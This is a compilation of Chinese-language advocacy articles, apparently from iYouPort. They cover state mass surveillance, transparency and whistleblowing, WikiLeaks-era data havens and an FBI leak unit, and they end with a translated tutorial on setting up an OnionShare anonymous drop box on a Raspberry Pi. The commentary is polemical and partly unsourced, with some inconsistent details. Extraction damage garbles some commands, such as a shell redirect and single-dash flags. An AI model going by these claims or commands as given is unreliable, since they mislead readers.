在一个共同的宣誓书中，南非情报机构—即国家安全部长、拦截中心办公室、国家通讯中心和国家安全局—就他们构建的大规模拦截做法进行了解释：

南非情报机构承认“窃听或记录跨国信号，在某些情况下包括海底光

缆”。他们承认拦截南非境外、境内和过境的任何信息。

但他们继续辩称，这种大规模拦截旨在确保“国家抵御跨国威胁”。

虽然理论上大规模拦截是针对外国信号情报的，但他们也承认，该监视系统根本无法区分究竟是国内和国外通信。

他们简要地指出存储在多个数据中心内的数据备份的存在，但也承认还有存在于其他未识别位置的数据。

他们向法院保证，“RICA 提供了足够的保护措施”，但是，他们没有提供任何进一步的信息。

下一步是什么？

自21世纪初以来，这些大规模监视计划一直保密。如今的成功曝光是举报人、记者、和众多社会工作者一起努力为政府施加压力的成果。

任何监视，就其性质而言，都是侵犯人权的，但是数百万人在不被怀疑有任何不当行为的情况下遭受持久大规模监视的影响是毁灭性的，已经不仅仅是隐私问题 —— 它剥夺基本自由，侵害了民主。

在 OrgCon2019，斯诺登评论说：“人们认为**2013**年的曝光是一个监视故事，但它其实是一个民主故事”。欧洲人权法院也是这样强调的，“所谓的国家安全只是一种伪装，以掩盖破坏甚至摧毁民主的企图”。

尽管如此，但目前为止仍然有很多我们尚不知道的大规模拦截计划存在、无法了解它们如何发挥作用。

比如中国的做法，在美国的帮助下实现的大规模监控，见：

- 《美国科技巨头如何帮助中国建立大规模监视系统》
- 《IBM和谷歌如何通过中国协助独裁政权的间谍行为？》

就如你所知道的，已曝光的一切仍没有被停止。

揭露铺天盖地，人们甚至几乎不再为此“兴奋”。

没有公开的辩论，没有公民的声音和行动 —— 是否允许当权者继续肆无忌惮地抽干所有人的自由和人权；如果不，如何阻止他们。

曝光无法解决问题，透明度革命的成功与否根本在于大众的行动。只有大众利用其绝对的庞大基数之优势去推翻统治机器，才能将人类转向健康的循环。〇

原文

无知不是幸福 - iYouPort

地缘政治透明度革命

当权者总是希望能从隐瞒中获得更多解释权，以操控对现实的陈述，民主注定会被这种阴暗的心机所侵蚀。

「图」

「图」

托马斯格雷1742年的一首诗 “Ode on a Distant Prospect of Eton College” 中最著名的一句话是：“无知就是幸福。”但是当然，无知并不是幸福。充分了解意味着在仔细权衡利弊时能做出更好的决策。对于那些经营州或联邦政府的人来说，这一点更为重要—— 然而，目前特朗普和蒙大拿州参议院却认为对事实的不了解对于治理的困难工作来说更有用。

联邦调查局局长 Christopher A. Wray、中央情报局局长 Gina Haspel、和国家情报局局长 Dan Coats 2月在参议院情报委员会作证，他们对各个领域的某些情况进行了非常明智的评估，让特朗普陷入了另一个消息不灵通的 Twitter 疯狂。

由特朗普任命的那些情报机构的负责人告诉参议院，朝鲜并没有拆除其核武器、伊朗没有制造核武器、而且叙利亚的伊斯兰国也没有被击败，并不是特朗普及其内阁官员声称的那样。

我们国家每年花费大约800亿美元来分析从卫星、船只、飞机和特工那里收集到的情报。这些人都是高技能人才，他们中的许多人冒着生命危险去了解事实。

不幸的是，由于事实与特朗普的虚构成功的好战诠释相矛盾，他决定用推文侮辱他们，他写道情报机构负责人“非常被动和天真……他们都错了！也许情报官员应该回学校重新学习！“

请注意，这位总统没有阅读给他的安全简报，根本没有读过多少内

容，而且主要是通过观看福克斯新闻获得信息。他也是那种能够掌握核发射代码的人，这应该让那些认为这些决定应该基于真实、可验证的信息，而不是自私自利和狂妄自大的政治周旋的人感到震惊。

另一方面，蒙大拿州参议院上周批准了一项措施，同样接受了无知比获知更好的逻辑。新规则仍然必须得到众议院的批准，但他们禁止立法服务部门的律师在网上公布法案的法律分析。因此，如果法案存在可能导致其违宪或存在其他法律问题的问题，律师无法通知公众和立法机构在立法过程中解决这些潜在的陷阱。

由于参议院的共和党多数认为让公众和其他立法者知道他们的法案中的不足之处是没有用的，结果他们采用了“无知就是幸福”的逻辑。然而，他们自己对蒙大拿州宪法的无知本身就是很明显的，因为 Article II, Sec. 9 知情权强制要求：“任何人不得被剥夺审查文件或观看所有公共机构或州政府及其分支机构的审议的权利，除非个人隐私要求超过公开披露的价值。“显然，在立法过程中没有任何个人隐私超出公开披露的价值。

无知并不是幸福，政客们希望民众在公共政策问题上被误导或处于无知状态这一局势是令人不安的。它绝不是为了人民和社会的利益，现在必须结束。

当权者总是希望能从隐瞒中获得更多解释权，以操控对现实的陈述，而民主注定会被这种小心机所侵蚀。

Ignorance is Not Bliss: it’s troubling that our politicians think keeping the populace misinformed or in the dark on issues of public policy is acceptable. It’s not—and for the good of our people and our society it must end now.

原文

最佳庇护所和跨国维稳——透明度革命的未来 - iYouPort

透明度革命

（泡泡特约）纽约大学著名新媒体学教授 Clay Shirky 曾经描述过这样的思想。他提到了第二次世界大战结束时，美国、大不列颠、加拿大、澳大利亚和新西兰情报机构达成的一项协议，称之为“UKUSA 英美协议”，该协议允许各国情报机构所做的事远远不止在德国和日本所进行的间谍活动。

英美协议成员组织从法律上禁止截取本国公民的通信，于是他们通常使用私下交换的方式，例如加拿大对澳大利亚公民进行间谍活动，并与澳大利亚秘密情报机构共享资料；而澳大利亚曾对加拿大公民进行窃听，并将资料交给加拿大通信安全机构……

Shirky 由此类推出：公民也可以做到逆向监控。“我们将看到的是一个跨国的泄密形式，Wikileaks 是全球第一个真正意义上的跨国媒体，没有任何一个国家的法律能够控制Wikileaks的行动”。全球透明度革命的未来就将根植于跨国媒体的成熟。

Shirky 也预言了挑战：解密运动的跨国会带来阻止泄密的当权者的追击同样跨国，全球化控制将被极大推动，但正是我们必需面临的挑战。

最好的庇护所：瑞典和冰岛

斯德哥尔摩 - 瑞典互联网服务商 Bahnhof 的操作中心在冷战时期(Nuclear winter)曾经是瑞典的民防系统，这里的花岗岩墙壁在核爆炸的威胁下都能保护电脑无损。这里曾作为 Wikileaks 的周转地之一。月租不菲，但物超所值。

这些不是它的全部价值，它所拥有的瑞典的自由特性是其他大多数国家都无可企及的。1766年开始，瑞典对新闻来源和信息自由的保护就是全世界最强的，这种保护源自瑞典宪法，比美国宪法第一修正案还要早。在这种宪法的保护下对新闻进行审查是极其困难的，除非涉及“叛国案件”，否则检察官一概禁止向媒体组织询问信息来源的身

份。

瑞典作为海盗党（Piratpartiet）发源地不是没道理的。

另一家位于斯德哥尔摩西北部、一座旧建筑的地下室里——PeRiQuito AB，就是大名鼎鼎的 PRQ。在Wikileaks之前，PRQ最著名的“住户”就是海盗湾（Pirate Bay），世界上最受欢迎的盗版音乐和视频的来源。PRQ和海盗湾都是瑞典黑客建立的，Gottfrid Svartholm 和 Fredrik Neij，当时他们只有19岁和25岁，已经成为编码专家。这里有一部纪录片 TPB AFK: The Pirate Bay Away From Keyboard

海盗湾的访问量比当时纽约时报还高，不仅在于它实现了“文化就意味着共享”的数字时代信息平权宗旨，而且他们还经常曝光一些有趣的信息，比如他们收到的法律威胁以及对威胁作出的回应，都会发布在网站上。他们也关注国际政治，还声援过伊朗革命。

2007年，瑞典警方对PRQ进行了搜查，并没收了服务器，当局希望借此逼海盗湾下线。此后海盗湾离开了原来的家园，横跨欧洲在多个临时主机之间不断跳跃，但PRQ仍拥有大量粉丝。

PRQ 反独裁反专制的政策意味着它很少记录能够确定网站访问者身份的流量，服务器尽可能少的保留了**2000**个客户的信息，但对这些身份均进行了加密。服务器要求租用空间的网站预付现金，但不会过问任何个人的详细资料。（一般国外客户以支票和信用卡授权方式的支付在提取现金时需要核对付款方信息，而现金支付则可以避免这点）

> “通常我们不知道客户是谁，根据瑞典法律，我们不需要知道” —— PRQ

瑞典的法律和高端技术公司的服务使包括 **Wikileaks**在内的很多挑战专制政府的国际独立平台运转顺利。

在冰岛首都雷克雅未克有一家名为“1984”的网络托管中心，创始人是Mörður Ingólfsson，他不会向任何人提供客户信息，不论你是警察还是记者。**1984**是冰岛最大的网络主机公司，该公司充分体现了冰岛维京人的个性态度——“我们不会对威胁、恐吓、操纵、压力或调查作任何回应，我们宁可破产，也不能打破我们与客户之间的信任”。

冰岛的新媒体计划是将全世界各个国家中关于信息自由度最好的条款整合在一起的结果，例如瑞典对保护信息来源的重视、比利时的避免

互联网服务商将记录呈交给法庭的第三方通信安全保护，以及纽约的禁止使用外国法律在当地提起诉讼的保护等等。其修订后的条款允许国民查询政府文件，还为自由表达设立了一个类似诺贝尔的奖项。

在Wikileaks发布“间接谋杀”（Collateral Murder）后的一年，冰岛现代媒体计划出现了第一个成果，冰岛议会通过了一项新的法案，对新闻来源的匿名性提供了与瑞典同样强劲的法律保护。在该法案中，冰岛记者们并非只是简单的免于受到可能暴露其消息来源的调查，而是从法律上获得了禁止确认身份的权利。

在法律上，冰岛展现了一个完美的全球数字庇护所特征。比如在雷克雅未克郊外驻扎的 Thor 数据中心（名字来自北欧神话中的雷神）它使用的是热发电站的绿色电力，使用免费的极地空气为大型服务器机房做天然冷却。这些电脑所有者们希望在冰岛新媒体计划的协助下将其服务器扩充到数千台，以容纳全球来冰岛寻求庇护的“有争议”的数据，尤其是那些被政府威胁的民间发声者。

跨国维稳

然而推动冰岛媒体自由法案成功的主力 —— 冰岛海盗党政治人物、无政府主义者 Birgitta Jónsdóttir 惊讶地发现，逃避美国政府对匿名性的打击战非常困难。**2011**年 **Jónsdóttir** 收到了来自**twitter**的邮件：美国政府要求调查其业务中的所有数据，无论是公开的还是私人的。

不论哪个互联网服务商都逃不过政府的压力。美国在线**AOL**曾经透露，每个月收到政府索取数据一千次之多，那还是**12**年前呢；十年前的**Facebook**只有现在的三分之一大，它的职员曾向媒体透露执法部门每天索取数据的请求就会达到**20**次！谷歌表面上看起来是唯一公布政府索取数据的大型互联网公司，网上可以搜到所谓的“透明度报告”，其中的数字已经足够惊人，如果你读过棱镜计划文件原版，就会明白，谷歌公开的报告只是冰山一角。

Jónsdóttir 的案子和他们的差别在于，twitter是自己主动找麻烦的 —— 主动告诉美国政府来twitter调查她。

她不是唯一被调查的。此外还有雅各布·阿佩尔鲍姆（Jacob Appelbaum）不仅是Wikileaks的支持者、也是Tor项目前发言人，Wikileaks的荷兰合作伙伴 Rop Gonggrijp，以及 Julian Assange 和 Chelsea Manning，都在同一张巨网中。twitter至今不给Assange认证，导致假冒他并污蔑他的账号大行其道，就是这个原因。

当时美国司法部拼命寻找与Wikileaks相关的一切信息，包括任何与 Manning 交谈过的人都有可能被一起纳入调查。

相比下twitter还算有点“良知”的，至少通知了 Jónsdóttir 这种调查的存在，而 Jónsdóttir 的律师发现，另外还有四家未指明的公司也接受了索取她资料的要求，但根本没告诉她。

一次次的上诉后，法庭居然对他们开出了禁令，宣称“用户在诸如推特这样的服务上不要奢求隐私！”最终他们输掉了官司，他们的资料都被交给了调查者。

Jónsdóttir 在冰岛实现了言论自由和作为其基础的匿名权保护，然而她的 twitter 资料却保存在美国。现在全球绝大部分社交媒体用户的资料都存在美国和中国，不是美国就是中国，中美在刮分全球互联网人的数据，这就不是一个自由的冰岛和一个捍卫知情权的瑞典能解决的问题了。

> 除非一家媒体和技术公司将其全部职员和资产都迁往冰岛，不然其成员和财产回国后将服从旧的媒体法律。“就算冰岛法律提供了全世界最好的保护，它们仍不过是一条马其诺防线”——欧洲著名法律博客作家 Arthur Bright

改变全球其他地方的法律以符合言论自由和隐私安全的保障，是 Jónsdóttir 一直以来的追求，她和另一名捍卫者合作希望将冰岛作为样本，在雷克雅未克和其他地方会见信息自由倡导者以催生新的运动，比如爱尔兰现代媒体计划、意大利现代媒体计划、甚至在美国加利福尼亚也赢得了支持。加州有密码朋克文化，当年**Wikileaks**选择在旧金山注册就是出于这个原因，加州人对个性化精神和言论自由有着出于本能的支持，一旦遭遇政府打压，当地人更有希望为**Wikileaks**摇旗呐喊。（然而在加州生活了二十多年的华裔民权活动家居然都不知道 **John Barlow** 是谁**……**仅仅用文化隔膜解释似乎不通吧）

权利再分配

一个月前刚刚离世的EFF创始人 John Barlow 在冰岛银行系统崩溃前的夏天（2007年），站在雷克雅未克大学“冰岛数字自由社会大会”的讲台上，他的演讲题目是《关于人类交流的历史》，从语言发明到第一台印刷机，他认为是机器媒介带来的权利再分配引发了从30年战争到西班牙宗教法庭期间所发生的一切。500年后，人类面对的是互联

网新媒介。

John 毫无疑问地指出，互联网代表着另一次的权利再分配，其对社会的影响程度就如同古滕堡当年的活版印刷术一样。

John 绝不是嘴炮，在那之后的**25**年里他花费了大量时间和金钱，与那些试图遏制互联网空间的政府和大财团作战，他说“我想到对付国家政权的答案就是国家政权。以和他们同等的地位和他们斗争”。

你所支持的东西必然需要用行动去捍卫，否则你的口号声嘶力竭也一样毫无价值。

> 密码无政府主义意味着每个个人必须保护保护自身秘密，而不能指望政府或企业为你做到这点。同时也意味着所谓的“国家机密”、“商业技术机密”将不会长期保密。privacy for theweak and transparency for the powerful. 强有力的加密技术就掌握在人民手中，对全世界的政府而言都是最致命的威胁。
>
> 能量已经被释放。如今国家的边界不过是信息高速公路的减速带而已。

未来

2002年，密码朋克邮件列表（Cypherpunk Mailing List）的前开发者 Bram Cohen 发布了端对端共享协议“BitTorrent”（比特洪流）。它不直接向请求资源的用户发送资源，而是通过由拥有资源的用户作为分发者向请求资源的用户发送数据，而后者又可以将自己接收到的资源的部分发送给其他的用户，直到每个人都完成下载。该技术使得原始服务器可以为很多个大型文件请求服务同时又不需要很大的带宽。（如今几乎每个中国人都知道BT，可惜只是用它来下载盗版电影……）

两名意大利黑客 Fabio 和 Arturo 是“全球解密（GlobalLeaks）”的共同创始人（也是Tor研发者），他们称自己的目标是为Wikileaks旗下的（napster）公司创建比特洪流。Wikileaks是一个单一的易受攻击的目标，全球解密旨在创造一个“全球性，分布式泄漏扩增网络”。

这两个意大利人和其他一些程序员一直在研发的软件并不提供Wikileaks那样迅速的解密服务，他们仅仅提供软件，这些软件允许任何人在几分钟内建立解密途径，并基于**Tor**的隐藏服务向用户提供安

全而难以追查的提交系统。

全球解密不限制任何人使用它的软件，并在网上公布了源代码，供所有人观看、修改和使用。

他们的目标是将解密运动从模仿 Wikileaks 的上百个“揭秘网络节点”扩大到上千个。和比特洪流一样，全球解密旨在将处理敏感资料的风险分散给个人，而不是中介机构这样的弱势群体。

冰岛现代媒体运动、巴尔干解密、全球解密，这些都可以追溯到二十多年前开发的密码朋克运动，甚至是密码朋克出现之前20年揭发五角大楼文件运动的后续。它们在过去40年中取得了巨大的成就，而如今它们将出现另一个新的开始。

就如 John Young 激动人心的演讲所言：

> Wikileaks在短暂的历史中经历了数次转型，其中有些转型非常痛苦，有些甚至几近夭折，但它每次都以新的活力战胜了这些困境，同样眼下的挑战依旧能被战胜。它最令人钦佩的地方就是其在压力最大的时候能迅速恢复活力，并且更具创新性。它也许会面临更大的压力，但我觉得这是好事，如果缺乏了让其变得更强大的动力，它就会屈服于怠惰、沉浸在以前的光环中。

我们为什么不能像Wikileaks一样努力，承担大于你应该应付的风险，不要仅仅追随他的潮流，而是要走自己的路，直面一切嘲讽、赞扬和指责。如果你能像 Assange 一样执着勇敢和幸运，你才有可能由于受人钦佩而获得回报成就你的理想。

也许你会成为一个失败者，但也好过毫无作为的中庸者。

技术每时每刻都在进步，当权者每时每刻都在策划着阴谋，拼命想要夺取人民的一切。随着互联网的成熟和深化，解密运动将变得更加强壮，更加坚实有力。中国人现在开始了解这些常识尚且不晚。

原文

杀死透明度革命的机密被透明度革命者曝光 - iYouPort

透明度革命

奥巴马政府从来不是举报人的粉丝，特朗普政府也不是。并且它继续加大调查力度，以应对民间持续不断的透明度革命努力，这些举报事件往往是在政府宣告某件重要的事之后出现的，以证据反驳政府宣传的任何谎言。

「图」

「图」

被解雇的 Jeff Sessions 认为“解决泄密问题的最佳计划”是起诉信息接收者：也就是记者。

在任何一个体面的国家，这都不是一个好计划。但这就是目前华盛顿正在发生的事。司法部是言行一致的，他们已经开始追捕泄密者，并且有可能刷新奥巴马至高无上的起诉举报人记录—— 奥巴马抓捕的说真话的人超过他所有前任的总和。

根据 The Young Turks 的 Ken Klippenstein 获得的一份文件，联邦调查局正在采取行动。依旧是“间谍”这个词被抛出，非常荒唐，被揭露的真相明显暴露了政府的尴尬。尽管如此，狩猎防漏就是 FBI 的官方业务。

根据法律规定，“联邦调查局是负责调查违反美国间谍法的主要联邦机构，“一份带有副标题的文件写道。该文件继续说：“媒体泄密的威胁和调查的复杂性—以及迅速增长的趋势—需要建立一个新的单位。”

该文件于2017年11月10日进行了大量编辑—与提供给 TYT 的其他记录一样。一份日期为2018年5月24日的文件表明，无线电通信局的资源分析部门批准了其反间谍部门提出的建立新的成本代码的请求，显然是针对新的泄漏。

正如 Klippenstein 指出的那样，获得的文件[PDF]表明，Jeff Sessions 只是提了这个建议，而没有直接采取行动。该单位的建立—也就是它开始获得资助的时间点—是2018年5月。而2017年8月的会议声称 FBI 已经配置了一个防漏装置，泄漏探测器已经增加了800%。

Sessions 针对透明度革命的围堵建议可能是为了警告政府雇员保持联邦调查局的秘密。如果是这样，那就不太有效了。泄密率已从“每日”标准上减缓，但是，仍不乏内部人士愿意将政府内部肮脏的秘密洒给记者。

政府一直在致力于确保它想要宣称的叙事版本在事实真正发挥作用之前向公众广泛传播，让人们先入为主地信任官方叙事。这不起任何作用。但确实提高了第一修正案由于政府未能掩盖的罪行所遭受的损失。

FBI Officially Has A Leak Investigation Unit: It’s not going to work here either, but it does raise the odds the First Amendment is going to suffer for the sins our government fails to keep covered up.

原文

构建自己的吹哨平台：在树莓派上运行OnionShare匿名投递箱 - iyouport

让它民主-公民掌握真相的技巧和技术透明度革命

您需要足够省钱且足够有效的方法

【按】公民组织独立的吹哨平台是透明度革命的基础设施之一，当然，要完成吹哨您所需要的远不止技术基础，但技术基础是最重要的，因为您必需保护吹哨人的匿名安全；如果人们很容易因为说出真相而被捕，我们将无法期待更多人的勇气。保护吹哨人的安全是您作为吹哨平台负责人的关键职责。

我们介绍过 OnionShare 的基本用法，见《简易吹哨平台传输泄漏数据：洋葱汤指南》，它可以帮助您匿名投递和接收机密文件的泄漏。公民独立调查组织不可能有足够的资金支持昂贵的基础设施，摆脱基金会也应该作为您的基本追求之一，如果您想要真正独立的话。

您获取的吹哨泄漏越是敏感度高就越是如此。所以我们需要足够省钱并且足够有效的解决方案。

Micah Lee 介绍了一种方法，只需要 一个便宜的树莓派就能做到构建自己的匿名机密文件投递箱；它足够省钱，也足够可靠，但有一些注意事项您应该知道。下面是他提供的指南，

现在，OnionShare 的命令行版本已经更好地支持在无头Linux服务器上运行，我想我可以建立一个专门的树莓派匿名投递箱服务器。

找到一个树莓派

「图」

就我个人而言，我从装满了随机电子设备的纸箱里挖出了一个值得信赖的老式树莓 Pi 3 Model B，毕竟很多人都有多余的树莓派躺在一堆旧电子设备中。如果您确实没有，目前 Raspberry Pi 4 Model B 的成本是 35 美元。

树莓派使用 microSD 卡作为硬盘，所以您还需要一个 microSD 读卡器，可以把它插到您的电脑上进行设置，一根 micro-USB线为您的树莓派提供电源，还有一个网络连接（以太网是最简单的，但wifi也可以）。

在树莓派上安装Ubuntu Server 20.04

「图」

按照Ubuntu制作的这个教程在您的树莓派上安装Ubuntu。我使用的是 Ubuntu Server 20.04.2 LTS (RPi 3/4/400) 64位镜像。一旦您进行到了 “4.启动 Ubuntu Server” 的步骤，就可以回到本指南了。

我不喜欢把HDMI线和USB键盘插到我的树莓派上，所以在插上以太网和电源后，我需要找到我的树莓派的IP地址，这样就可以通过网络远程连接到它。我使用nmap来完成这个任务。您可以从 Linux 软件包管理器、Mac上的 Homebrew 或 Windows 上的 nmap 网站上安装它。

因为我的本地网络IP地址是 192.168.1.x，所以我要扫描我的整个子网(192.168.1.0/24) 是否有打开SSH端口(22)的电脑，其中一台必然是我的树莓派。

```
$ nmap -p22 --open 192.168.1.0/24 Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-23 17:51 PST Nmap scan report for 192.168.1.46 Host is up (0.0015s latency). PORT STATE SERVICE 22/tcp open ssh Nmap done: 256 IP addresses (7 hosts up) scanned in 3.13 seconds
```

就是这样，我的树莓派的IP地址是 192.168.1.46。所以看看我是否可以SSH进入它。您一定要用您自己的树莓派IP。默认的用户名和密码都是 ubuntu。

```
$ ssh ubuntu@192.168.1.46 The authenticity of host '192.168.1.46 (192.168.1.46)' can't be established. ECDSA key fingerprint is SHA256:tdB9dxpe4dIpFfvbjNdPpPVLeBlpTXaSu6SCaabjyFc. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.1.46' (ECDSA) to the list of known hosts.
```

```
ubuntu@192.168.1.46's password: You are required to change your password immediately (administrator enforced) Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-1028-raspi aarch64) [...snip...]
```

登录后，您会被要求重新设置密码。把它设置为随机的东西，然后保存在您的密码管理器中。在这里看到密码管理器的选择方法。

重置密码后，您的连接将被关闭，您需要再次SSH登录。

```
[...snip...] WARNING: Your password has expired. You must change your password now and login again! Changing password for ubuntu. Current password: New password: Retype new password: passwd: password updated successfully Connection to 192.168.1.46 closed. $ ssh ubuntu@192.168.1.46 ubuntu@192.168.1.46's password: Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-1028-raspi aarch64) [...snip...] ubuntu@ubuntu:~$
```

已经进来了。继续并通过运行以下命令安装更新：

```
sudo apt update sudo apt upgrade -y
```

安装 OnionShare

「图」

OnionShare用python编写，您可以使用 pip 安装命令行版本。因此，首先必须安装 pip：

```
sudo apt install python3-pip
```

现在安装 OnionShare：

```
pip3 install --user onionshare-cli
```

当您使用pip安装程序并使用 -user 时，它会将它们安装到 ~/.local/bin 中，默认情况下它不在您的路径中。下次您通过SSH进入树莓派时会自动将 ~/.local/bin 添加到您的路径中：

```
echo "PATH=\$PATH:~/.local/bin" 」」 ~/.bashrc
```

```
source ~/.bashrc
```

好了，现在尝试运行 onionshare-cli。您应该看到下面这样的信息：

测试一下（安装tor）

「图」

来看一下我们是否可以运行一个聊天服务器：

```
$ onionshare-cli --chat OnionShare 2.3.1 |
https://onionshare.org/ @@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ___ _ @@@@@@
@@@@@@@@@@@@@@ / _ \ (_) @@@@ @ @@@@@@@@@@@@ | | | |
_ __ _ ___ _ __ @@@@@@@@ @@@@@@@@@@@ | | | | '_ \|
|/ _ \| '_ \ @@@@@@@@@@@@@ @@@@@@@@@@@ \ \_/ / | | |
| (_) | | | | @@@@@@@@@@@@@@@@@@ @@@@@@@@@@ \___/|_|
|_|_|\___/|_| |_| @@@@@@@@@@ @@@@@@@@@@@@@@@@@@ _____
_ @@@@@@@@@@@ @@@@@@@@@@@@@ / ___| | @@@@@@@@@@@
@@@@@@@@@ \ `--.| |__ __ _ _ __ ___ @@@@@@@@@@@@ @
@@@@@ `--. \ '_ \ / _` | '__/ _ \ @@@@@@@@@@@@@@
@@@@@@ /\__/ / | | | (_| | | | __/
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ \____/|_| |_|\__,_|
_| \___| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@
```

```
@@@@@@@@@@@@@@ / _ \ (_) @@@@ @ @@@@@@@@@@@@ | | | |
_ __ _ ____ _ __ @@@@@@@@ @@@@@@@@@@@ | | | | '_ \|
|/ _ \| '_ \ @@@@@@@@@@@@@ @@@@@@@@@@@ \ \_/ / | | |
| (_) | | | | @@@@@@@@@@@@@@@@@@ @@@@@@@@@@ \____/|_|
|_|_|\____/|_| |_| @@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ ______
_ @@@@@@@@@@ @@@@@@@@@@@@@ / ____| | @@@@@@@@@@
@@@@@@@@@ \ `--.| |___ ___ _ _ ___ ____ @@@@@@@@@@@@ @
@@@@ `--. \ '_ \ / _` | '___/ _ \ @@@@@@@@@@@@@@
@@@@@@ /\___/ / | | | (_| | | | ___/
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ \_____/|_| |_|\___,_|
_| \____| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@ Connecting to the Tor network: 100% -
Done Give this address to the recipient: http://
onionshare:appetizer-
acid@hhzxxzfsx34ckxjtl3z6cjgfk73tyr3fxbsu3rumiqsgdz6nvmo
Press Ctrl+C to stop the server
```

加载您在Tor浏览器中看到的OnionShare地址，以确保其有效。

很好。按Ctrl-C退出 OnionShare。

启动一个永久的匿名敏感文件投递箱

「图」

要让别人匿名上传文件到您的电脑上（在本例中是您的树莓派），您可以使用接收模式。在命令行中就是 -receive。

您还需要确保使用 -persistent。这将会把Tor的洋葱密钥保存到一个文件中，这样如果您重启树莓派 ，可以用完全相同的 OnionShare 地址来启动您的服务。

您可能还想使用 -public 来禁用默认的密码保护，基本上这可以让您在Twitter等公开的地方上发布一个链接到您的匿名投递箱，比如下面这样，于是任何人都可以去那里匿名泄露文件给您。

好了，把上述这些整合起来：

```
$ onionshare-cli --receive --persistent ~/anon-
dropbox.session --public OnionShare 2.3.1 |
```

```
https://onionshare.org/ @@@@@@@@@
@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ___ _ @@@@@@
@@@@@@@@@@@@@ / _ \ (_) @@@@ @ @@@@@@@@@@@@ | | | |
_ __ _ ___ _ __ @@@@@@@@ @@@@@@@@@@ | | | | '_ \|
|/ _ \| '_ \ @@@@@@@@@@@@ @@@@@@@@@@ \ \_/ / | | |
| (_) | | | | @@@@@@@@@@@@@@@@ @@@@@@@@@ \___/|_|
|_|_|\___/|_| |_| @@@@@@@@@ @@@@@@@@@@@@@@@@ _____
_ @@@@@@@@@@ @@@@@@@@@@@@ / ___| | @@@@@@@@@@
@@@@@@@@ \ `--.| |__ __ _ _ __ ___ @@@@@@@@@@@ @
@@@@ `--. \ '_ \ / _` | '__/ _ \ @@@@@@@@@@@@@@
@@@@@@ /\__/ / | | | (_| | | | __/
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ \____/|_| |_|\__,_|
_| \___| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@ Connecting to the Tor network: 100% -
Done * Running on http://127.0.0.1:17636/ (Press
CTRL+C to quit) Files sent to you appear in this
folder: /home/ubuntu/OnionShare Warning: Receive
mode lets people upload files to your computer.
Some files can potentially take control of your
computer if you open them. Only open things from
people you trust, or if you know what you are
doing. Give this address to the sender: http://
vxat6yszh7o5r2fxzvibxsb4lmfi6yzudobn3o3yz2vhvue3z2xmbqic
Press Ctrl+C to stop the server
```

现在，再次在Tor浏览器中加载 OnionShare 地址以确保其正常工作。

这是有效的样子。

实时网络日志也将显示在终端中。例如，当我加载 OnionShare 地址时，该地址显示在终端中是这样的：

```
127.0.0.1 - - [24/Feb/2021 02:36:06] "GET /
HTTP/1.1" 200 - 127.0.0.1 - - [24/Feb/2021
02:36:07] "GET /static_nwr7jepc7gzurz2tyf2ddqnaxe/
css/style.css HTTP/1.1" 200 - 127.0.0.1 - - [24/
Feb/2021 02:36:08] "GET /
static_nwr7jepc7gzurz2tyf2ddqnaxe/js/
```

```
jquery-3.5.1.min.js HTTP/1.1" 200 - 127.0.0.1 - -
[24/Feb/2021 02:36:08] "GET /
static_nwr7jepc7gzurz2tyf2ddqnaxe/js/receive.js
HTTP/1.1" 200 - 127.0.0.1 - - [24/Feb/2021
02:36:08] "GET /static_nwr7jepc7gzurz2tyf2ddqnaxe/
img/logo.png HTTP/1.1" 200 - 127.0.0.1 - - [24/
Feb/2021 02:36:08] "GET /
static_nwr7jepc7gzurz2tyf2ddqnaxe/img/
logo_large.png HTTP/1.1" 200 - 127.0.0.1 - - [24/
Feb/2021 02:36:09] "GET /
static_nwr7jepc7gzurz2tyf2ddqnaxe/img/favicon.ico
HTTP/1.1" 200 -
```

您永远不会知道访问您的洋葱站点的人的**IP**地址。他们的**IP**总是看起来像**127.0.0.1**。这就是**Tor**洋葱服务的工作方式：您匿名运行服务，所有连接到您的服务的客户端也都是匿名的。如果有人加载您的匿名投递箱，而您正好在看终端，您就能知道有人在那里，因为您会看到他们生成的日志，但您不会知道那是谁。

上传文件，然后查看上传的内容

「图」

现在让我们尝试上传一个文件。在我的例子中，我上传的是一个约2.6mb的图像文件，名为 IMG_0417.jpg。

在终端中，您可以看到文件上传时的进度，然后可以看到它被保存到的位置：

```
=」 2.5 MiB IMG_0417.jpg Received: /home/ubuntu/
OnionShare/2021-02-24/22.29.20/IMG_0417.jpg
127.0.0.1 - - [24/Feb/2021 22:29:29] "POST /
upload-ajax HTTP/1.1" 200 -
```

但现在如何实际访问这个文件呢？有很多方法。以下是一些选项。

在**MacOS**或**Windows**中

「图」

如果您使用macOS或Windows，可以使用SFTP软件，

如 Cyberduck。例如，这里我在 Cyberduck 中设置了一个新的连接，叫做 onionsharepi：

然后当我连接到它时就可以浏览文件并将任何内容下载到我的计算机上：

最后，我可以打开 IMG_0417.jpg，看看我上传的这张图片是什么：

在 Linux 中

「图」

在Ubuntu（或其他使用 nautilus 作为文件管理器的发行版）中，打开文件管理器，转到 “Other Locations”，然后连接到服务器 `sftp://ubuntu@192.168.1.46/`

现在就可以访问该文件了：

确保匿名保管箱可以持久工作

「图」

用于在接收模式下启动OnionShare的命令是这样：

```
onionshare-cli --receive --persistent ~/anon-dropbox.session --public
```

